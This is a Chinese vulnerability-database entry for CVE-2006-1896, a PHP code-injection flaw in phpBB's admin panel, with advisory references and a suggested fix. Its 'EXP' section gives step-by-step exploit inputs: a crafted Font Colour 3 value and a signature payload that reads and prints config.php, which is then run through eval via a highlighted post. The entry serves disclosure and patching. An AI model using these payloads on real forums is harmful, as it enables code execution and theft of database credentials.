phpBB 存在未明漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1195307 漏洞类型 代码注入
发布时间 2006-04-20 更新时间 2006-04-20
CVE编号 CVE-2006-1896 CNNVD-ID CNNVD-200604-342
漏洞平台 N/A CVSS评分 6.0
|漏洞来源
https://www.securityfocus.com/bid/87678
https://cxsecurity.com/issue/WLB-2006040046
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-342
|漏洞详情
phpBB存在未明漏洞。这使得具有管理面板访问权限的远程未认证用户可以借助于精心设计的FontColour3($theme[fontcolor3]变量)和/或签名值执行任意PHP代码。该漏洞可能涉及突出功能。注意:最初的报告中并没有声明此问题是静态代码注入、eval注入或是另一种漏洞。
|漏洞EXP
On a phpBB board, a user having access to the admin panel is able to execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"
Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature
Go to your message adding ?highlight=1 to URL
Your signature is executed as PHP code

Possible solution:

Replace $theme['fontcolor3']
By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']);
In viewtopic.php
|受影响的产品
phpBB Group phpBB 0
|参考资料

来源:DEBIAN
名称:DSA-1066
链接:http://www.debian.org/security/2006/dsa-1066
来源:SECUNIA
名称:20197
链接:http://secunia.com/advisories/20197
来源:XF
名称:phpbb-admin-code-execution(25889)
链接:http://xforce.iss.net/xforce/xfdb/25889
来源:BUGTRAQ
名称:20060418Re:phpBBAdmincommandexecution
链接:http://www.securityfocus.com/archive/1/archive/1/431387/100/0/threaded
来源:BUGTRAQ
名称:20060414phpBBAdmincommandexecution
链接:http://www.securityfocus.com/archive/1/archive/1/431015/100/0/threaded
来源:SREASON
名称:762
链接:http://securityreason.com/securityalert/762
来源:SREASON
名称:715
链接:http://securityreason.com/securityalert/715
来源:SECUNIA
名称:20093
链接:http://secunia.com/advisories/20093